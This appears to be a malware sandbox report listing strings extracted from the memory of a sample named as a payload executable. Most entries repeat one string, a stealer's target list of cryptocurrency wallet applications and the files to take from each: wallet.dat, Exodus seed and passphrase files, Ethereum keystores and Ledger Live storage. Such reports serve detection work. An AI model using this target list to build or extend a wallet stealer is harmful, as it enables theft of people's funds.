Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonM`
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
